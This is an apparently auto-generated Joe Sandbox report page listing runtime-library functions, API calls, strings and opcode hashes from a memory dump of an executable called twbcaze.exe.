Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 143a747af0ca9d0d0b1de1a2e253aee19515e48f7ac29c3e463687d02ec2b84a
Instruction ID: 9e609370faf7bb1396030742b487c5011d168dbd24c681577ab23c87187feb3b
Opcode Fuzzy Hash: 143a747af0ca9d0d0b1de1a2e253aee19515e48f7ac29c3e463687d02ec2b84a
Instruction Fuzzy Hash: 5841C630A052189BCF10EF69C844ADEBBB1AF4432CF14815AF8155B352D779A9D1CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041E48C Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041E7EC: _free.LIBCMT ref: 0041E811

_free.LIBCMT ref: 0041E4DA

Part of subcall function 0041AC67: HeapFree.KERNEL32(00000000,00000000), ref: 0041AC7D
Part of subcall function 0041AC67: GetLastError.KERNEL32(?,?,0041E816,?,00000000,?,?,?,0041E4A5,?,00000007,?,?,0041EE00,?,?), ref: 0041AC8F

_free.LIBCMT ref: 0041E4E5
_free.LIBCMT ref: 0041E4F0
_free.LIBCMT ref: 0041E544
_free.LIBCMT ref: 0041E54F
_free.LIBCMT ref: 0041E55A
_free.LIBCMT ref: 0041E565

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4fa3af1e4e2541f5a962136ba2ef0094dd114dc65fa6a56b2720c2e6f46b313b
Instruction ID: 284df9f1b7a7b18ebc2636481bb3a9bc6959072237368f804615af593e33ab9b
Opcode Fuzzy Hash: 4fa3af1e4e2541f5a962136ba2ef0094dd114dc65fa6a56b2720c2e6f46b313b
Instruction Fuzzy Hash: 5211AF39601B44ABE520F7B3DC4BFCBB79C5F00304F400C1EB6ED66192EA78B5944685

Uniqueness

Uniqueness Score: -1.00%

Function 004229F9 Relevance: 9.3, APIs: 6, Instructions: 317fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00422A41
__fassign.LIBCMT ref: 00422C26
__fassign.LIBCMT ref: 00422C43
WriteFile.KERNEL32(?,0041D2F5,00000000,?,00000000), ref: 00422C8B
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00422CCB
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00422D73

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLastOutput
String ID:
API String ID: 1735259414-0
Opcode ID: 6eadf0ef7b1578d9249ff99873997d0fd24100ea5cf61461da0c2fdd33d9f9ca
Instruction ID: dea6e254ba90a19633800a2bb2561a710fdd656b41b0a75608fd30b53b49681c
Opcode Fuzzy Hash: 6eadf0ef7b1578d9249ff99873997d0fd24100ea5cf61461da0c2fdd33d9f9ca
Instruction Fuzzy Hash: D4C1A071E002689FCF15CFA9D9809EDBBB5BF08304F28416AE815F7341D679A946CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00415E1F Relevance: 9.2, APIs: 6, Instructions: 238COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 00415E4B
__cftoe.LIBCMT ref: 00415E7D
_free.LIBCMT ref: 00415EA3

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: __cftoe$_free
String ID:
API String ID: 1303422935-0
Opcode ID: a1eef01c508509c2d1d122460e36017c013dda3dbbad62265d6f8bf9cdd3332f
Instruction ID: ac7b474d6fc98c5ebbd15da6fc75ba26e624e1edeebb7e1b3e46e77a32f7513f
Opcode Fuzzy Hash: a1eef01c508509c2d1d122460e36017c013dda3dbbad62265d6f8bf9cdd3332f
Instruction Fuzzy Hash: A671C232600605EFDB24DB6DD881AEA77E5EF88324B24052FF419D7391DB35ED908B58

Uniqueness

Uniqueness Score: -1.00%

Function 00419A30 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00419A27,00410832,0040F868), ref: 00419A3E
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00419A4C
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00419A65
SetLastError.KERNEL32(00000000,00419A27,00410832,0040F868), ref: 00419AB7

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 6a06a2c0d6f406ebb987339e11d665c664df3075b5b77685e23857f55972794a
Instruction ID: 4e72711cbe370da124ff9bcb7bb46fb07669d8c76fc0a1cb41bda04e99651783
Opcode Fuzzy Hash: 6a06a2c0d6f406ebb987339e11d665c664df3075b5b77685e23857f55972794a
Instruction Fuzzy Hash: 9F01F132309622AEE63427777CA59A72685EF017F8320023FF624402F1FF5A9C85918C

Uniqueness

Uniqueness Score: -1.00%

Function 00413250 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,004132DA,0040E8B6,?,0041335B,00000004,00000000,0040E8B6), ref: 00413265
GetProcAddress.KERNEL32(00000000,CorExitProcess,00000000,?,?,004132DA,0040E8B6,?,0041335B,00000004,00000000,0040E8B6), ref: 00413278
FreeLibrary.KERNEL32(00000000,?,?,004132DA,0040E8B6,?,0041335B,00000004,00000000,0040E8B6), ref: 0041329B

Strings

CorExitProcess, xrefs: 00413270
mscoree.dll, xrefs: 0041325E

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: a9eaecb74b0f1c2e7d6bb8d2b937668f8ff8d246e60fd466908c7f8b95f40234
Instruction ID: f13012d448e515364a5808451a099c057f3e7b5a6003aace8a925c6212398a92
Opcode Fuzzy Hash: a9eaecb74b0f1c2e7d6bb8d2b937668f8ff8d246e60fd466908c7f8b95f40234
Instruction Fuzzy Hash: 73F08230601229FBDB219F51ED0DBDE7B78EB4075AF540062F405B1160CB789F45DB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040E884 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040E88B
std::_Lockit::_Lockit.LIBCPMT ref: 0040E896
std::_Lockit::~_Lockit.LIBCPMT ref: 0040E904

Part of subcall function 0040E78E: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0040E7A6

std::locale::_Setgloballocale.LIBCPMT ref: 0040E8B1
_Yarn.LIBCPMT ref: 0040E8C7

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 37234ab1be28d23009987259d219c472b90e351d95d08a6dda3180b4a3dfe735
Instruction ID: 3400708e6865e95127ac1b37d7fe9301104f7edf9cafbb999d1d02ea23cf3430
Opcode Fuzzy Hash: 37234ab1be28d23009987259d219c472b90e351d95d08a6dda3180b4a3dfe735
Instruction Fuzzy Hash: 5A019AB5A002209BCB0AEB22E955A7C3B61FB84308B14047EE801673D1CB786E12CBCD

Uniqueness

Uniqueness Score: -1.00%

Function 0041E3A8 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041E3C0

Part of subcall function 0041AC67: HeapFree.KERNEL32(00000000,00000000), ref: 0041AC7D
Part of subcall function 0041AC67: GetLastError.KERNEL32(?,?,0041E816,?,00000000,?,?,?,0041E4A5,?,00000007,?,?,0041EE00,?,?), ref: 0041AC8F

_free.LIBCMT ref: 0041E3D2
_free.LIBCMT ref: 0041E3E4
_free.LIBCMT ref: 0041E3F6
_free.LIBCMT ref: 0041E408

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5c83ae428773e25317788d744fd137d569673975ab9d6138c9deb8ca62736589
Instruction ID: 7b88bea65a0b1f43fc525d08b963a14049a3deac22f7c0dfed099887ad013867
Opcode Fuzzy Hash: 5c83ae428773e25317788d744fd137d569673975ab9d6138c9deb8ca62736589
Instruction Fuzzy Hash: 03F01236505244678620EB56E9C9C97B3D9AA00B107585C1BF858D7B51EB38FCD0469D

Uniqueness

Uniqueness Score: -1.00%

Function 00414C43 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\twbcaze.exe, xrefs: 00414CDB, 00414CE2, 00414D16

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\twbcaze.exe
API String ID: 0-2465341801
Opcode ID: 161bc1fe453a24d4e5947874a840ecbe141d76b8deb3dfb50e9ae0383eeec891
Instruction ID: bf390cfbd20c0f17ea5b1c3e0e8d24ea52ca80336ca7805b394e653bf088e3d1
Opcode Fuzzy Hash: 161bc1fe453a24d4e5947874a840ecbe141d76b8deb3dfb50e9ae0383eeec891
Instruction Fuzzy Hash: D8418071A00218ABCB21DF99EC859EFBBF8EBC5710B15006BE404D7351EB749A81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041A71C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0041A622,?,?,00000000,00000000,00000000,?), ref: 0041A741
CatchIt.LIBVCRUNTIME ref: 0041A827

Strings

MOC, xrefs: 0041A753
RCC, xrefs: 0041A75B

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: afdf2972dbb9fa97222bd35efbdd43855ba8fda15f37328886d0e0c9617a3284
Instruction ID: 6a9cd9403bd27c86c1ea0c160311e29b31724f3b5871e5d2b4079279596d1eb7
Opcode Fuzzy Hash: afdf2972dbb9fa97222bd35efbdd43855ba8fda15f37328886d0e0c9617a3284
Instruction Fuzzy Hash: 02417871900109AFCF15EF98C981AEEBBB5BF48304F18805AF914A6251D339DEA1DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00407CF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00407D05

Part of subcall function 004041C0: std::_Lockit::_Lockit.LIBCPMT ref: 004041E4
Part of subcall function 004041C0: std::_Lockit::~_Lockit.LIBCPMT ref: 0040420F

std::_Facet_Register.LIBCPMT ref: 00407D93
std::_Lockit::~_Lockit.LIBCPMT ref: 00407DD1

Strings

1|@, xrefs: 00407CF9, 00407DCE

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID: 1|@
API String ID: 459529453-800989663
Opcode ID: f968c5a2ceffd9f62f956be7acafea80e481a352b490c4cb58a6bad916e8be5d
Instruction ID: df1d7254de4c4737ab4cdce48f978ba56a96f436c95f912a99cc71e35d993b47
Opcode Fuzzy Hash: f968c5a2ceffd9f62f956be7acafea80e481a352b490c4cb58a6bad916e8be5d
Instruction Fuzzy Hash: FD21D9B4D0420ADBCB04EFA5D5859AEBBF0AF04314F10457AE855B7391E774AA84CF8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042484E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000), ref: 004248A4
GetLastError.KERNEL32(?,00424931,?,0042FC98,0000000C,0042482E,?,?,?), ref: 004248AE
__dosmaperr.LIBCMT ref: 004248D9

Strings

8U, xrefs: 00424868

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID: 8U
API String ID: 2583163307-1560779159
Opcode ID: b695ac448ec502b824e6d452526773643c5b8ea28f5126ec84344795acf40a58
Instruction ID: 2872174efd4d47e11b79a3ee67353118296fcb7ddf3ef0f6c6e2eb77d8ceda66
Opcode Fuzzy Hash: b695ac448ec502b824e6d452526773643c5b8ea28f5126ec84344795acf40a58
Instruction Fuzzy Hash: DF0129367141B007C67472B5B805B6E6B89CBC1B3CFA9026BF904972D2DA3C9881815D

Uniqueness

Uniqueness Score: -1.00%

Function 0040E18B Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(00432638,?,?,00402B1E,?,?,00402A88,?,004028C7), ref: 0040E195
ReleaseSRWLockExclusive.KERNEL32(00432638,?,?,00402B1E,?,?,00402A88,?,004028C7), ref: 0040E1C8
WakeAllConditionVariable.KERNEL32(00432634,?,?,00402B1E,?,?,00402A88,?,004028C7), ref: 0040E1D3

Strings

8&C, xrefs: 0040E18F

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ExclusiveLock$AcquireConditionReleaseVariableWake
String ID: 8&C
API String ID: 1466638765-4180868660
Opcode ID: bb326b3d1a6057f6d4eda2fdb55b1c08876ac596fafac99671c5b540344f3fe5
Instruction ID: 63f9b1e205a4cf5fe4a8a0715ad09473f89d27546d428ca09e51556197a17499
Opcode Fuzzy Hash: bb326b3d1a6057f6d4eda2fdb55b1c08876ac596fafac99671c5b540344f3fe5
Instruction Fuzzy Hash: BBF039B4602210DFC318EF58F989999B7A8EB0D310B00147AFA0583330DBB46842CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041A01E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0041A0E5
___AdjustPointer.LIBCMT ref: 0041A108
___AdjustPointer.LIBCMT ref: 0041A1A4

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: b1ffaf3be143962601bfd751bcf30ee1173fce86672cfef3168e1e718e814c89
Instruction ID: 05ac9061583e724ffec2fa218e0b3ff0f87b3e47112c77b43e326704fcf76a3e
Opcode Fuzzy Hash: b1ffaf3be143962601bfd751bcf30ee1173fce86672cfef3168e1e718e814c89
Instruction Fuzzy Hash: E851F172602202AFDB289F15D941BEA77B5EF04314F14442FE84187391E739ECE1CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE68 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
_free.LIBCMT ref: 0041AECA
_free.LIBCMT ref: 0041AF00
SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 465fb4a1ee4c9454c80ef43f4a0eb4c141932a626125280fca3e2634ba948ceb
Instruction ID: 04fe7bfcbbf35f31ac0b3b3c8fdcf247abc73e494e7426076554552e017b386c
Opcode Fuzzy Hash: 465fb4a1ee4c9454c80ef43f4a0eb4c141932a626125280fca3e2634ba948ceb
Instruction Fuzzy Hash: 45112C713463012BC61176769C85FEB211ADBC03F9B25113BF138862E1EF2D8CE1415E

Uniqueness

Uniqueness Score: -1.00%

Function 0041AFBF Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0041531C,0041ACE4,?,?,0040E0E2,?,?,00401942,00000000,?,00401851), ref: 0041AFC4
_free.LIBCMT ref: 0041B021
_free.LIBCMT ref: 0041B057
SetLastError.KERNEL32(00000000,00000005,000000FF,?,?,?,0041531C,0041ACE4,?,?,0040E0E2,?,?,00401942,00000000), ref: 0041B062

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: c9f735076e89557456e168ab1ef37200c4df73db6735b96dd666e663e5cfb4e8
Instruction ID: 47653adca3cb3e4d72ad73b2514f88ae9e3e3fde6527a25f988a1d2191d663d1
Opcode Fuzzy Hash: c9f735076e89557456e168ab1ef37200c4df73db6735b96dd666e663e5cfb4e8
Instruction Fuzzy Hash: 7511E9723051002BC6113A769CC5EA72659DBC57F9725113BF138862E2EF2D8CD141AD

Uniqueness

Uniqueness Score: -1.00%

Function 00424736 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0042474D
GetLastError.KERNEL32(?,00424191,?,00000001,?,00000001,?,00422DD0,?,?,00000001,?,00000001,?,00422864,0041D2F5), ref: 00424759

Part of subcall function 004247AA: CloseHandle.KERNEL32(FFFFFFFE), ref: 004247BA

___initconout.LIBCMT ref: 00424769

Part of subcall function 0042478B: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000), ref: 0042479E

WriteConsoleW.KERNEL32 ref: 0042477E

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 350c2ee933c2393c7b9754eea8cbbf259ca380d9cec6957e6089de5b3cb8e804
Instruction ID: 382caa9a29c65e89878ef9e0e4a6c080ff036c71a35ae6ff5ac9d19cfbebcadd
Opcode Fuzzy Hash: 350c2ee933c2393c7b9754eea8cbbf259ca380d9cec6957e6089de5b3cb8e804
Instruction Fuzzy Hash: 32F03736201135BBCF221FD6EC089CA7F25FF89770B508122FE1985130D7718961EB98

Uniqueness

Uniqueness Score: -1.00%

Function 00412FD9 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00412FE2

Part of subcall function 0041AC67: HeapFree.KERNEL32(00000000,00000000), ref: 0041AC7D
Part of subcall function 0041AC67: GetLastError.KERNEL32(?,?,0041E816,?,00000000,?,?,?,0041E4A5,?,00000007,?,?,0041EE00,?,?), ref: 0041AC8F

_free.LIBCMT ref: 00412FF5
_free.LIBCMT ref: 00413006
_free.LIBCMT ref: 00413017

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e9e5f2e41f3733c2eff641b063f42574cbd324a24f89577f96bb0eb8152791dc
Instruction ID: 5f81c87fe3d558299dbab55690507bf2b9849b575d915bdff1144723836fa9f9
Opcode Fuzzy Hash: e9e5f2e41f3733c2eff641b063f42574cbd324a24f89577f96bb0eb8152791dc
Instruction Fuzzy Hash: 31E04670901120AB8602AF12BD45489BF61EB14B02704E42BF84807332EB3A47A39FCE

Uniqueness

Uniqueness Score: -1.00%

Function 0041EEDC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,004137E7,?,?,?,00000055,?,-00000050,?,?,?), ref: 0041EF9D
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,004137E7,?,?,?,00000055,?,-00000050,?,?), ref: 0041EFC8

Strings

utf8, xrefs: 0041F09A

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 2588997caceb56cb08feb0f826b7642f8072fed7b1e7b42a654ab6406482ac7e
Instruction ID: 648f6a098cce61d627996268e321a9ffc18456b901debb5a689669c47e2500d2
Opcode Fuzzy Hash: 2588997caceb56cb08feb0f826b7642f8072fed7b1e7b42a654ab6406482ac7e
Instruction Fuzzy Hash: 8651D435640201B6E725AB328C46FE777A8EF48704F14047BFD0997282F779AAC7866D

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEA8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

